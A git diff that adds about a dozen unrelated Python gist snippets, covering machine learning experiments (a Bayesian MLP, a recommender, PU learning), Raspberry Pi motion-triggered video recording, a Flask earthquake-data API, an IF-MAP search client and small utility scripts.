+# This is implemented in PyTorch
+# Author : Anirudh Vemula
+
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+import numpy as np
+
+from sklearn.datasets import fetch_mldata
+from sklearn.cross_validation import train_test_split
+from sklearn import preprocessing
+
+
+def log_gaussian(x, mu, sigma):
+    return float(-0.5 * np.log(2 * np.pi) - np.log(np.abs(sigma))) - (x - mu)**2 / (2 * sigma**2)
+
+
+def log_gaussian_logsigma(x, mu, logsigma):
+    return float(-0.5 * np.log(2 * np.pi)) - logsigma - (x - mu)**2 / (2 * torch.exp(logsigma)**2)
+
+
+class MLPLayer(nn.Module):
+    def __init__(self, n_input, n_output, sigma_prior):
+        super(MLPLayer, self).__init__()
+        self.n_input = n_input
+        self.n_output = n_output
+        self.sigma_prior = sigma_prior
+        self.W_mu = nn.Parameter(torch.Tensor(n_input, n_output).normal_(0, 0.01))
+        self.W_logsigma = nn.Parameter(torch.Tensor(n_input, n_output).normal_(0, 0.01))
+        self.b_mu = nn.Parameter(torch.Tensor(n_output).uniform_(-0.01, 0.01))
+        self.b_logsigma = nn.Parameter(torch.Tensor(n_output).uniform_(-0.01, 0.01))
+        self.lpw = 0
+        self.lqw = 0
+
+    def forward(self, X, infer=False):
+        if infer:
+            output = torch.mm(X, self.W_mu) + self.b_mu.expand(X.size()[0], self.n_output)
+            return output
+
+        epsilon_W, epsilon_b = self.get_random()
+        W = self.W_mu + torch.log(1 + torch.exp(self.W_logsigma)) * epsilon_W
+        b = self.b_mu + torch.log(1 + torch.exp(self.b_logsigma)) * epsilon_b
+        output = torch.mm(X, W) + b.expand(X.size()[0], self.n_output)
+        self.lpw = log_gaussian(W, 0, self.sigma_prior).sum() + log_gaussian(b, 0, self.sigma_prior).sum()
+        self.lqw = log_gaussian_logsigma(W, self.W_mu, self.W_logsigma).sum() + log_gaussian_logsigma(b, self.b_mu, self.b_logsigma).sum()
+        return output
+
+    def get_random(self):
+        return Variable(torch.Tensor(self.n_input, self.n_output).normal_(0, self.sigma_prior).cuda()), Variable(torch.Tensor(self.n_output).normal_(0, self.sigma_prior).cuda())
+
+
+class MLP(nn.Module):
+    def __init__(self, n_input, sigma_prior):
+        super(MLP, self).__init__()
+        self.l1 = MLPLayer(n_input, 200, sigma_prior)
+        self.l1_relu = nn.ReLU()
+        self.l2 = MLPLayer(200, 200, sigma_prior)
+        self.l2_relu = nn.ReLU()
+        self.l3 = MLPLayer(200, 10, sigma_prior)
+        self.l3_softmax = nn.Softmax()
+
+    def forward(self, X, infer=False):
+        output = self.l1_relu(self.l1(X, infer))
+        output = self.l2_relu(self.l2(output, infer))
+        output = self.l3_softmax(self.l3(output, infer))
+        return output
+
+    def get_lpw_lqw(self):
+        lpw = self.l1.lpw + self.l2.lpw + self.l3.lpw
+        lqw = self.l1.lqw + self.l2.lqw + self.l3.lqw
+        return lpw, lqw
+
+
+def forward_pass_samples(X, y):
+    s_log_pw, s_log_qw, s_log_likelihood = 0., 0., 0.
+    for _ in xrange(n_samples):
+        output = net(X)
+        sample_log_pw, sample_log_qw = net.get_lpw_lqw()
+        sample_log_likelihood = log_gaussian(y, output, sigma_prior).sum()
+        s_log_pw += sample_log_pw
+        s_log_qw += sample_log_qw
+        s_log_likelihood += sample_log_likelihood
+
+    return s_log_pw/n_samples, s_log_qw/n_samples, s_log_likelihood/n_samples
+
+
+def criterion(l_pw, l_qw, l_likelihood):
+    return ((1./n_batches) * (l_qw - l_pw) - l_likelihood).sum() / float(batch_size)
+
+mnist = fetch_mldata('MNIST original')
+N = 5000
+
+data = np.float32(mnist.data[:]) / 255.
+idx = np.random.choice(data.shape[0], N)
+data = data[idx]
+target = np.int32(mnist.target[idx]).reshape(N, 1)
+
+train_idx, test_idx = train_test_split(np.array(range(N)), test_size=0.05)
+train_data, test_data = data[train_idx], data[test_idx]
+train_target, test_target = target[train_idx], target[test_idx]
+
+train_target = np.float32(preprocessing.OneHotEncoder(sparse=False).fit_transform(train_target))
+
+n_input = train_data.shape[1]
+M = train_data.shape[0]
+sigma_prior = float(np.exp(-3))
+n_samples = 3
+learning_rate = 0.001
+n_epochs = 100
+
+# Initialize network
+net = MLP(n_input, sigma_prior)
+net = net.cuda()
+
+# building the objective
+# remember, we're evaluating by samples
+log_pw, log_qw, log_likelihood = 0., 0., 0.
+batch_size = 100
+n_batches = M / float(batch_size)
+optimizer = torch.optim.Adam(net.parameters(), lr=learning_rate)
+
+n_train_batches = int(train_data.shape[0] / float(batch_size))
+
+for e in xrange(n_epochs):
+    errs = []
+    for b in range(n_train_batches):
+        net.zero_grad()
+        X = Variable(torch.Tensor(train_data[b * batch_size: (b+1) * batch_size]).cuda())
+        y = Variable(torch.Tensor(train_target[b * batch_size: (b+1) * batch_size]).cuda())
+
+        log_pw, log_qw, log_likelihood = forward_pass_samples(X, y)
+        loss = criterion(log_pw, log_qw, log_likelihood)
+        errs.append(loss.data.cpu().numpy())
+        loss.backward()
+        optimizer.step()
+
+    X = Variable(torch.Tensor(test_data).cuda(), volatile=True)
+    pred = net(X, infer=True)
+    _, out = torch.max(pred, 1)
+    acc = np.count_nonzero(np.squeeze(out.data.cpu().numpy()) == np.int32(test_target.ravel())) / float(test_data.shape[0])
+
+    print 'epoch', e, 'loss', np.mean(errs), 'acc', acc
\ No newline at end of file
diff --git a/hard-gists/9e990f56dabe27b42bfb/._snippet.py b/hard-gists/9e990f56dabe27b42bfb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9e990f56dabe27b42bfb/._snippet.py differ
diff --git a/hard-gists/9e990f56dabe27b42bfb/snippet.py b/hard-gists/9e990f56dabe27b42bfb/snippet.py
new file mode 100644
index 00000000..6c1376f2
--- /dev/null
+++ b/hard-gists/9e990f56dabe27b42bfb/snippet.py
@@ -0,0 +1,146 @@
+#!/usr/bin/env python
+
+import io
+import time
+import picamera
+import picamera.array
+import numpy as np
+from PIL import Image, ImageDraw
+
+
+FILE_PATTERN = 'motion%02d.h264' # the file pattern in which to record videos
+FILE_BUFFER = 1048576            # the size of the file buffer (bytes)
+
+REC_RESOLUTION = (1280, 720) # the recording resolution
+REC_FRAMERATE = 24           # the recording framerate
+REC_SECONDS = 10             # number of seconds to store in ring buffer
+REC_BITRATE = 1000000        # bitrate for H.264 encoder
+
+MOTION_MAGNITUDE = 60        # the magnitude of vectors required for motion
+MOTION_VECTORS = 10          # the number of vectors required to detect motion
+
+
+class MotionDetector(picamera.array.PiMotionAnalysis):
+    def __init__(self, camera, size=None):
+        super(MotionDetector, self).__init__(camera, size)
+        self.vector_count = 0
+        self.detected = 0
+
+    def analyse(self, a):
+        a = np.sqrt(
+            np.square(a['x'].astype(np.float)) +
+            np.square(a['y'].astype(np.float))
+            ).clip(0, 255).astype(np.uint8)
+        # If there're more than 10 vectors with a magnitude greater than 60,
+        # then set the last detected timestamp to now. Note: this is a really
+        # crude method - I'm sure someone can do better with a bit of effort!
+        # Things to try: filtering on SAD numbers, checking consecutive frames
+        # for consistent motion in the same vectors, checking adjacent macro
+        # blocks for similar motion vectors (to determine shape/size of moving
+        # object). Then there's exposure, AWB, night/day cycles and such like
+        # to compensate for
+        vector_count = (a > MOTION_MAGNITUDE).sum()
+        if vector_count > MOTION_VECTORS:
+            self.detected = time.time()
+            # We only store the count of vectors here as a demo of how to
+            # easily extract some stats from the motion detector for debugging
+            self.vector_count = vector_count
+
+
+def create_recording_overlay(camera):
+    # Make a recording symbol (red circle) overlay. This isn't perfect as
+    # overlays don't support alpha transparency (so there'll be black corners
+    # around the red circle) but oh well, it's only a demo!
+    img = Image.new('RGB', (64, 64))
+    d = ImageDraw.Draw(img)
+    d.ellipse([(0, 0), (63, 63)], fill='red')
+    o = camera.add_overlay(img.tostring(), size=img.size)
+    o.alpha = 128
+    o.layer = 1
+    o.fullscreen = False
+    o.window = (32, 32, 96, 96)
+    return o
+
+
+def main():
+    with picamera.PiCamera() as camera:
+        camera.resolution = REC_RESOLUTION
+        camera.framerate = REC_FRAMERATE
+        # Let the camera settle for a bit. This avoids detecting motion when
+        # it's just the white balance and exposure settling.
+        time.sleep(2)
+
+        # Set up all the stuff we need: an overlay to indicate when we're
+        # recording, the ring-buffer we want to record to when we haven't
+        # detected motion, the file-object we want to record video to when
+        # we *have* detected motion, and finally the motion detector itself
+        camera.start_preview()
+        recording_overlay = create_recording_overlay(camera)
+        ring_buffer = picamera.PiCameraCircularIO(
+            camera, seconds=REC_SECONDS, bitrate=REC_BITRATE)
+        file_number = 1
+        file_output = io.open(
+            FILE_PATTERN % file_number, 'wb', buffering=FILE_BUFFER)
+        motion_detector = MotionDetector(camera)
+
+        # Start recording data to the ring buffer and the motion detector
+        # at the specified bitrates
+        camera.start_recording(
+            ring_buffer, format='h264', bitrate=REC_BITRATE,
+            intra_period=REC_FRAMERATE, motion_output=motion_detector)
+        try:
+            while True:
+                # Motion not detected state:
+                # In this state we just wait around for the motion detector to
+                # notice something. We check whether the last motion detected
+                # timestamp occurred in the last second
+                print('Waiting for motion')
+                while motion_detector.detected < time.time() - 1:
+                    camera.wait_recording(1)
+
+                # Transition to motion detected state:
+                # Show the recording indicator, copy the content of the ring
+                # buffer to the output file, then split the recording to the
+                # output file. Note: because this is a file *we* opened
+                # (instead of picamera opening it for us when we specify a
+                # filename), we get to control when it closes, and picamera
+                # doesn't move the file-pointer except when writing to it
+                print('Motion detected (%d vectors)' % motion_detector.vector_count)
+                print('Recording to %s' % file_output.name)
+                recording_overlay.layer = 3
+                with ring_buffer.lock:
+                    for frame in ring_buffer.frames:
+                        if frame.frame_type == picamera.PiVideoFrameType.sps_header:
+                            ring_buffer.seek(frame.position)
+                            break
+                    while True:
+                        buf = ring_buffer.read1()
+                        if not buf:
+                            break
+                        file_output.write(buf)
+                camera.split_recording(file_output)
+                # Clear the ring buffer (the easiest way to do this is simply
+                # to reconstruct it). Note to self: add a clear() method to
+                # the next version...
+                ring_buffer = picamera.PiCameraCircularIO(
+                    camera, seconds=REC_SECONDS, bitrate=REC_BITRATE)
+
+                # Motion detected state:
+                # Wait for REC_SECONDS without motion
+                while motion_detector.detected > time.time() - REC_SECONDS:
+                    camera.wait_recording(1)
+
+                # Transition back to motion not detected state:
+                # Split the recording back to the ring buffer, hide the
+                # recording indicator, and open the next output file
+                recording_overlay.layer = 1
+                camera.split_recording(ring_buffer)
+                file_number += 1
+                file_output.close()
+                file_output = io.open(
+                    FILE_PATTERN % file_number, 'wb', buffering=FILE_BUFFER)
+        finally:
+            camera.stop_recording()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/9ea0e4feb62a45acffee/._snippet.py b/hard-gists/9ea0e4feb62a45acffee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9ea0e4feb62a45acffee/._snippet.py differ
diff --git a/hard-gists/9ea0e4feb62a45acffee/snippet.py b/hard-gists/9ea0e4feb62a45acffee/snippet.py
new file mode 100644
index 00000000..69721519
--- /dev/null
+++ b/hard-gists/9ea0e4feb62a45acffee/snippet.py
@@ -0,0 +1,14 @@
+import django_filters
+
+
+class CommaSeparatedValueFilter(django_filters.CharFilter):
+    """Accept comma separated string as value and convert it to list.
+
+    It's useful for __in lookups.
+    """
+
+    def filter(self, qs, value):
+        if value:
+            value = value.split(',')
+
+        return super(CommaSeparatedValueFilter, self).filter(qs, value)
\ No newline at end of file
diff --git a/hard-gists/9ed6ee8a55ff1587c08c793d5f23dfda/._snippet.py b/hard-gists/9ed6ee8a55ff1587c08c793d5f23dfda/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9ed6ee8a55ff1587c08c793d5f23dfda/._snippet.py differ
diff --git a/hard-gists/9ed6ee8a55ff1587c08c793d5f23dfda/snippet.py b/hard-gists/9ed6ee8a55ff1587c08c793d5f23dfda/snippet.py
new file mode 100644
index 00000000..236cd900
--- /dev/null
+++ b/hard-gists/9ed6ee8a55ff1587c08c793d5f23dfda/snippet.py
@@ -0,0 +1,108 @@
+import pandas as pd
+from collections import Counter
+import tensorflow as tf
+from tffm import TFFMRegressor
+from sklearn.metrics import mean_squared_error
+from sklearn.model_selection import train_test_split
+import numpy as np
+
+# Loading datasets'
+
+buys = open('yoochoose-buys.dat', 'r')
+clicks = open('yoochoose-clicks.dat', 'r')
+
+initial_buys_df = pd.read_csv(buys, names=['Session ID', 'Timestamp', 'Item ID', 'Category', 'Quantity'],
+                              dtype={'Session ID': 'float32', 'Timestamp': 'str', 'Item ID': 'float32',
+                                     'Category': 'str'})
+
+initial_buys_df.set_index('Session ID', inplace=True)
+
+initial_clicks_df = pd.read_csv(clicks, names=['Session ID', 'Timestamp', 'Item ID', 'Category'],
+                                dtype={'Category': 'str'})
+
+initial_clicks_df.set_index('Session ID', inplace=True)
+
+# We won't use timestamps in this example
+
+initial_buys_df = initial_buys_df.drop('Timestamp', 1)
+initial_clicks_df = initial_clicks_df.drop('Timestamp', 1)
+
+# For illustrative purposes, we will only use a subset of the data: top 10000 buying users,
+
+x = Counter(initial_buys_df.index).most_common(10000)
+top_k = dict(x).keys()
+initial_buys_df = initial_buys_df[initial_buys_df.index.isin(top_k)]
+initial_clicks_df = initial_clicks_df[initial_clicks_df.index.isin(top_k)]
+
+# Create a copy of the index, since we will also apply one-hot encoding on the index
+
+initial_buys_df['_Session ID'] = initial_buys_df.index
+
+# One-hot encode all columns for clicks and buys
+
+transformed_buys = pd.get_dummies(initial_buys_df)
+transformed_clicks = pd.get_dummies(initial_clicks_df)
+
+# Aggregate historical data for Items and Categories
+
+filtered_buys = transformed_buys.filter(regex="Item.*|Category.*")
+filtered_clicks = transformed_clicks.filter(regex="Item.*|Category.*")
+
+historical_buy_data = filtered_buys.groupby(filtered_buys.index).sum()
+historical_buy_data = historical_buy_data.rename(columns=lambda column_name: 'buy history:' + column_name)
+
+historical_click_data = filtered_clicks.groupby(filtered_clicks.index).sum()
+historical_click_data = historical_click_data.rename(columns=lambda column_name: 'click history:' + column_name)
+
+# Merge historical data of every user_id
+
+merged1 = pd.merge(transformed_buys, historical_buy_data, left_index=True, right_index=True)
+merged2 = pd.merge(merged1, historical_click_data, left_index=True, right_index=True)
+
+# Create the MF model, you can play around with the parameters
+
+model = TFFMRegressor(
+    order=2,
+    rank=7,
+    optimizer=tf.train.AdamOptimizer(learning_rate=0.1),
+    n_epochs=100,
+    batch_size=-1,
+    init_std=0.001,
+    input_type='dense'
+)
+
+merged2.drop(['Item ID', '_Session ID', 'click history:Item ID', 'buy history:Item ID'], 1, inplace=True)
+X = np.array(merged2)
+X = np.nan_to_num(X)
+y = np.array(merged2['Quantity'].as_matrix())
+
+# Split data into train, test
+
+X_tr, X_te, y_tr, y_te = train_test_split(X, y, test_size=0.2)
+
+#Split testing data in half: Full information vs Cold-start
+
+X_te, X_te_cs, y_te, y_te_cs = train_test_split(X_te, y_te, test_size=0.5)
+X_te_cs = pd.DataFrame(X_te_cs, columns=merged2.columns)
+
+# What happens if we only have access to categories and no historical click/purchase data?
+# Let's delete historical click and purchasing data for the cold_start test set
+
+for column in X_te_cs.columns:
+    if ('buy' in column or 'click' in column) and ('Category' not in column):
+        X_te_cs[column] = 0
+
+# Compute the mean squared error for both test sets
+
+model.fit(X_tr, y_tr, show_progress=True)
+predictions = model.predict(X_te)
+cold_start_predictions = model.predict(X_te_cs)
+print('MSE: {}'.format(mean_squared_error(y_te, predictions)))
+print('Cold-start MSE: {}'.format(mean_squared_error(y_te_cs, predictions)))
+model.destroy()
+
+# Fun fact: Dropping the category columns in the training dataset makes the MSE even smaller
+# but doing so means that we cannot tackle the cold-start recommendation problem
+
+# Full Information MSE: 0.00644224764093
+# Cold-start MSE: 3.09448346431
diff --git a/hard-gists/9f1793c4d1f466d3b58966da36b54fad/._snippet.py b/hard-gists/9f1793c4d1f466d3b58966da36b54fad/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9f1793c4d1f466d3b58966da36b54fad/._snippet.py differ
diff --git a/hard-gists/9f1793c4d1f466d3b58966da36b54fad/snippet.py b/hard-gists/9f1793c4d1f466d3b58966da36b54fad/snippet.py
new file mode 100644
index 00000000..83b63c75
--- /dev/null
+++ b/hard-gists/9f1793c4d1f466d3b58966da36b54fad/snippet.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+
+import gym
+import gym.envs
+import numpy as np
+
+gym.envs.register(id='NChainCustom-v0',
+                  entry_point='gym.envs.toy_text:NChainEnv',
+                  kwargs={'large':100},
+                  timestep_limit=200)
+env = gym.make('NChainCustom-v0')
+
+num_episodes = 10000
+max_timestep = 200
+
+agent_random = lambda ob: env.action_space.sample()
+agent_oracle = lambda ob: 0
+agent_coward = lambda ob: 1
+
+def run_agent(agent, name):
+    R = np.zeros((num_episodes, max_timestep))
+    for ep in xrange(num_episodes):
+        ob = env.reset()
+        for i in xrange(max_timestep):
+            assert env.observation_space.contains(ob)
+            a = agent(ob)
+            assert env.action_space.contains(a)
+            (ob, reward, _, _) = env.step(a)
+            R[ep][i] = reward
+    print 'agent {} mean {} std {}'.format(name, np.mean(R), np.std(R))
+                                                            
+run_agent(agent_random, 'random')
+run_agent(agent_oracle, 'oracle')
+run_agent(agent_coward, 'coward')
\ No newline at end of file
diff --git a/hard-gists/9f2d7da68779a17a0890/._snippet.py b/hard-gists/9f2d7da68779a17a0890/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9f2d7da68779a17a0890/._snippet.py differ
diff --git a/hard-gists/9f2d7da68779a17a0890/snippet.py b/hard-gists/9f2d7da68779a17a0890/snippet.py
new file mode 100644
index 00000000..8415b984
--- /dev/null
+++ b/hard-gists/9f2d7da68779a17a0890/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+
+from csvkit.convert.js import json2csv
+from collections import OrderedDict
+from flask import Flask
+import rethinkdb as r
+import json, StringIO
+
+config = {
+    "port": 8096,
+    "host": "0.0.0.0",
+    "database": {
+        "host": "localhost",
+        "port": 28015,
+        "db": "quake"
+    }
+}
+
+app = Flask(__name__)
+
+feedUrl = "earthquake.usgs.gov/earthquakes/feed/v1.0/summary/4.5_month.geojson"
+refresh = r.table("quakes").insert(r.http(feedUrl)["features"], conflict="replace")
+
+try:
+    conn = r.connect(**config["database"])
+    r.db_create(config["database"]["db"]).run(conn)
+    r.table_create("quakes").run(conn)
+    refresh.run(conn)
+except Exception as e:
+    if "already exists" not in e.message: print e
+finally: conn.close()
+
+@app.route("/quakes")
+def quakesJSON():
+    conn = r.connect(**config["database"])
+    output = r.table("quakes") \
+                .group(r.epoch_time(r.row["properties"]["time"] / 1000).date()) \
+                .ungroup().merge({"count": r.row["reduction"].count()}) \
+                .run(conn)
+
+    conn.close();
+    return json.dumps([OrderedDict([
+        ["date", item["group"].strftime("%D")],
+        ["count", item["count"]]]) for item in output])
+
+@app.route("/quakes/csv")
+def quakesCSV():
+    return json2csv(StringIO.StringIO(quakesJSON()))
+
+if __name__ == "__main__":
+    app.run(host=config["host"], port=config["port"], debug=True)
diff --git a/hard-gists/9f49f91bd7d0a527fdb5/._snippet.py b/hard-gists/9f49f91bd7d0a527fdb5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9f49f91bd7d0a527fdb5/._snippet.py differ
diff --git a/hard-gists/9f49f91bd7d0a527fdb5/snippet.py b/hard-gists/9f49f91bd7d0a527fdb5/snippet.py
new file mode 100644
index 00000000..9a5f9424
--- /dev/null
+++ b/hard-gists/9f49f91bd7d0a527fdb5/snippet.py
@@ -0,0 +1,192 @@
+#!/usr/bin/python
+
+import logging
+from pprint import pformat
+import argparse
+import sys
+reload(sys)
+sys.setdefaultencoding('UTF8')
+
+import lxml.etree as et
+import StringIO
+import re
+import json
+
+from cfgm_common.ifmap.client import client
+from cfgm_common.ifmap.request import NewSessionRequest, SearchRequest
+from cfgm_common.ifmap.response import newSessionResult
+from cfgm_common.ifmap.id import Identity
+
+logger = logging.getLogger(__name__)
+
+
+class IfmapSearcher():
+
+    def __init__(self):
+        """
+        .. attention:: username/passwd from right place
+        """
+        self._CONTRAIL_XSD = "http://www.contrailsystems.com/vnc_cfg.xsd"
+
+        self._NAMESPACES = {
+            'a': 'http://www.w3.org/2003/05/soap-envelope',
+            'b': 'http://www.trustedcomputinggroup.org/2010/IFMAP/2',
+            'c': self._CONTRAIL_XSD
+        }
+
+        namespaces = {
+            'env':   "http://www.w3.org/2003/05/soap-envelope",
+            'ifmap':   "http://www.trustedcomputinggroup.org/2010/IFMAP/2",
+            'meta':   "http://www.trustedcomputinggroup.org/"
+                      "2010/IFMAP-METADATA/2",
+            'contrail':   self._CONTRAIL_XSD
+        }
+
+        self.parse_args()
+        if self._args.verbose:
+            logger.setLevel('DEBUG')
+        mapclient = client(("%s" % (self._args.ifmap_ip),
+                            "%s" % (self._args.ifmap_port)),
+                           self._args.ifmap_username,
+                           self._args.ifmap_password, namespaces)
+        result = mapclient.call('newSession', NewSessionRequest())
+        mapclient.set_session_id(newSessionResult(result).get_session_id())
+        mapclient.set_publisher_id(newSessionResult(result).get_publisher_id())
+
+        self._mapclient = mapclient
+        self.soap_doc = None
+    # end __init__
+
+    def _search(self, start_id, match_meta=None, result_meta=None):
+        # set ifmap search parmeters
+        srch_params = {}
+        srch_params['max-depth'] = self._args.max_depth
+        srch_params['max-size'] = '50000000'
+
+        if match_meta is not None:
+            srch_params['match-links'] = match_meta
+
+        if result_meta is not None:
+            # all => don't set result-filter, so server returns all id + meta
+            if result_meta == "all":
+                pass
+            else:
+                srch_params['result-filter'] = result_meta
+        else:
+            # default to return match_meta metadata types only
+            srch_params['result-filter'] = match_meta
+
+        mapclient = self._mapclient
+        srch_req = SearchRequest(mapclient.get_session_id(), start_id,
+                                 search_parameters=srch_params
+                                 )
+        result = mapclient.call('search', srch_req)
+
+        return result
+    # end _search
+
+    def parse_args(self):
+        # Eg. python ifmap_search.py 192.168.1.17 8443 test2 test2 --identifier 
+        parser = argparse.ArgumentParser(
+            description="Display IFMAP configuration")
+        parser.add_argument('--ifmap-ip', default='localhost',
+            help="IP address of ifmap server")
+        parser.add_argument('--ifmap-port', default='8443',
+             help="Port of ifmap server")
+        parser.add_argument('--ifmap-username',
+            help="Username known to ifmap server")
+        parser.add_argument('--ifmap-password',
+            help="Password known to ifmap server")
+        parser.add_argument('--search-identifier',
+            default = 'contrail:config-root:root',
+            help = "IFMAP identifier to search e.g."
+                   "contrail:virtual-network:default-domain:admin:test-net")
+        parser.add_argument('--search-metas',
+            help = "Comma separated metadata names to search e.g."
+                   "contrail:project-virtual-network")
+        parser.add_argument('--result-metas',
+            help = "Comma separated metadata names to pick in response e.g."
+                   "contrail:project-virtual-network")
+        parser.add_argument('--max-depth', default='1',
+            help = "Maximum depth to span from search-identifier e.g. 1")
+        parser.add_argument('--verbose',
+            action='store_true', default=False)
+        self._args = parser.parse_args()
+    # end parse_args
+
+    def search(self):
+        if self._args.search_metas:
+            search_metas = ' or '.join(
+                self._args.search_metas.split(','))
+        else:
+            search_metas = None
+        if self._args.result_metas:
+            result_metas = ' or '.join(
+                self._args.result_metas.split(','))
+        else:
+            result_metas = None
+        start_id = str(
+            Identity(name=self._args.search_identifier,
+            type='other', other_type='extended'))
+        soap_result = self._search(
+            start_id,
+            search_metas,
+            result_metas)
+        self.soap_doc = et.fromstring(soap_result)
+        self.result_items = self.soap_doc.xpath(
+            '/a:Envelope/a:Body/b:response/searchResult/resultItem',
+            namespaces={'a': 'http://www.w3.org/2003/05/soap-envelope',
+            'b': 'http://www.trustedcomputinggroup.org/2010/IFMAP/2'})
+
+        #vnc_viewer._args.outfile.write(et.tostring(soap_doc, pretty_print=True))
+    # end search
+
+    def print_search_results(self):
+        if self._args.verbose:
+            if self.soap_doc is None:
+                logger.error("Not able to get a result for search")
+                return
+            logger.debug("Raw search result:\n%s",
+                et.tostring(self.soap_doc, pretty_print=True))
+
+        logger.info("Number of result items for search = %s",
+            len(self.result_items))
+
+        props = []
+        links = []
+        for r_item in self.result_items:
+            if (len(r_item) == 2 and 
+                r_item[0].get('name') == self._args.search_identifier):
+                props.extend([x.tag for x in r_item[1]])
+            elif len(r_item) == 3:
+                if r_item[1].get('name') != self._args.search_identifier:
+                    links.append(r_item[1].get('name'))
+                else:
+                    links.append(r_item[0].get('name'))
+
+        logger.info("Properties on identifier = %s", pformat(props))
+        logger.info("Links from identifier = %s", pformat(links))
+    # end print_search_results
+# end IfmapSearcher
+
+def main():
+    searcher = IfmapSearcher()
+    searcher.search()
+    searcher.print_search_results()
+# end main
+
+if __name__ == '__main__':
+
+     # Example usage:
+     # python ifmap_search.py --ifmap-ip localhost --ifmap-port 8443 
+     #     --ifmap-username <u> --ifmap-password <p>
+     #     --search-identifier contrail:virtual-network:default-domain:admin:test-net 
+     #     --search-metas contrail:project-virtual-network --verbose --max-depth 1
+    logger.setLevel('INFO')
+    logformat = logging.Formatter("%(levelname)s: %(message)s")
+    stdout = logging.StreamHandler()
+    stdout.setLevel('DEBUG')
+    stdout.setFormatter(logformat)
+    logger.addHandler(stdout)
+
+    main()
diff --git a/hard-gists/9f6118ff84867e89f3348707c7a1271f/._snippet.py b/hard-gists/9f6118ff84867e89f3348707c7a1271f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9f6118ff84867e89f3348707c7a1271f/._snippet.py differ
diff --git a/hard-gists/9f6118ff84867e89f3348707c7a1271f/snippet.py b/hard-gists/9f6118ff84867e89f3348707c7a1271f/snippet.py
new file mode 100644
index 00000000..5082e88b
--- /dev/null
+++ b/hard-gists/9f6118ff84867e89f3348707c7a1271f/snippet.py
@@ -0,0 +1,42 @@
+import torch.utils.data
+from torchvision import datasets, transforms
+
+class PartialDataset(torch.utils.data.Dataset):
+    def __init__(self, parent_ds, offset, length):
+        self.parent_ds = parent_ds
+        self.offset = offset
+        self.length = length
+        assert len(parent_ds)>=offset+length, Exception("Parent Dataset not long enough")
+        super(PartialDataset, self).__init__()
+    def __len__(self):
+        return self.length
+    def __getitem__(self, i):
+        return self.parent_ds[i+self.offset]
+
+def validation_split(dataset, val_share=0.1):
+    """
+       Split a (training and vaidation combined) dataset into training and validation.
+       Note that to be statistically sound, the items in the dataset should be statistically
+       independent (e.g. not sorted by class, not several instances of the same dataset that
+       could end up in either set).
+    
+       inputs:
+          dataset:   ("training") dataset to split into training and validation
+          val_share: fraction of validation data (should be 0<val_share<1, default: 0.1)
+       returns: input dataset split into test_ds, val_ds
+       
+       """
+    val_offset = int(len(dataset)*(1-val_share))
+    return PartialDataset(dataset, 0, val_offset), PartialDataset(dataset, val_offset, len(dataset)-val_offset)
+
+mnist_train_ds = datasets.MNIST(os.path.expanduser('~/data/datasets/mnist'), train=True, download=True,
+                   transform=transforms.Compose([
+                       transforms.ToTensor(),
+                       transforms.Normalize((0.1307,), (0.3081,))
+                   ]))
+
+train_ds, val_ds = validation_split(mnist_train_ds)
+
+
+train_loader = torch.utils.data.DataLoader(train_ds, batch_size=64, shuffle=True, **kwargs)
+val_loader = torch.utils.data.DataLoader(val_ds, batch_size=64, shuffle=True, **kwargs)
diff --git a/hard-gists/9f782f83e25d3c9eb202/._snippet.py b/hard-gists/9f782f83e25d3c9eb202/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9f782f83e25d3c9eb202/._snippet.py differ
diff --git a/hard-gists/9f782f83e25d3c9eb202/snippet.py b/hard-gists/9f782f83e25d3c9eb202/snippet.py
new file mode 100644
index 00000000..68be0bc4
--- /dev/null
+++ b/hard-gists/9f782f83e25d3c9eb202/snippet.py
@@ -0,0 +1,31 @@
+import c4d
+from c4d import gui
+
+def main():
+    doc = c4d.documents.GetActiveDocument()
+    op = doc.GetActiveObject()
+
+    if op is None or op.GetType() != c4d.Opolygon: return
+
+    bs = op.GetPointS()
+    print bs
+    if bs.GetCount() != 1:
+      print "None"
+      start_point = 0
+    else:
+      start_point = None
+
+    for pt in xrange(op.GetPointCount()):
+      if start_point is None and bs.IsSelected(pt):
+        start_point = pt
+      if start_point is not None:
+        if (pt - start_point) % 2 == 0:
+          bs.Select(pt)
+        else:
+          if bs.IsSelected(pt):
+            bs.Toggle(pt)
+
+    c4d.EventAdd()
+
+if __name__=='__main__':
+    main()
diff --git a/hard-gists/9fbbf2f450779bde60c3/._snippet.py b/hard-gists/9fbbf2f450779bde60c3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9fbbf2f450779bde60c3/._snippet.py differ
diff --git a/hard-gists/9fbbf2f450779bde60c3/snippet.py b/hard-gists/9fbbf2f450779bde60c3/snippet.py
new file mode 100644
index 00000000..300840eb
--- /dev/null
+++ b/hard-gists/9fbbf2f450779bde60c3/snippet.py
@@ -0,0 +1,31 @@
+import numpy as np
+from numpy import random
+from sklearn import base
+
+class PUWrapper(object):
+    def __init__(self,trad_clf,n_fold=5):
+        self._trad_clf=trad_clf
+        self._n_fold=n_fold
+
+    def fit(self,X,s):
+        self._trad_clf.fit(X,s)
+
+        Xp=X[s==1]
+        n=len(Xp)
+        
+        cv_split=np.arange(n)*self._n_fold/n
+        cv_index=cv_split[random.permutation(n)]
+        cs=np.zeros(self._n_fold)
+        for k in xrange(self._n_fold):
+            Xptr=Xp[cv_index==k]
+            cs[k]=np.mean(self._trad_clf.predict_proba(Xptr)[:,1])
+        self.c_=cs.mean()
+        return self
+
+    def predict_proba(self,X):
+        proba=self._trad_clf.predict_proba(X)
+        return proba
+
+    def predict(self,X):
+        proba=self.predict_proba(X)[:,1]
+        return proba>=(0.5*self.c_)
\ No newline at end of file
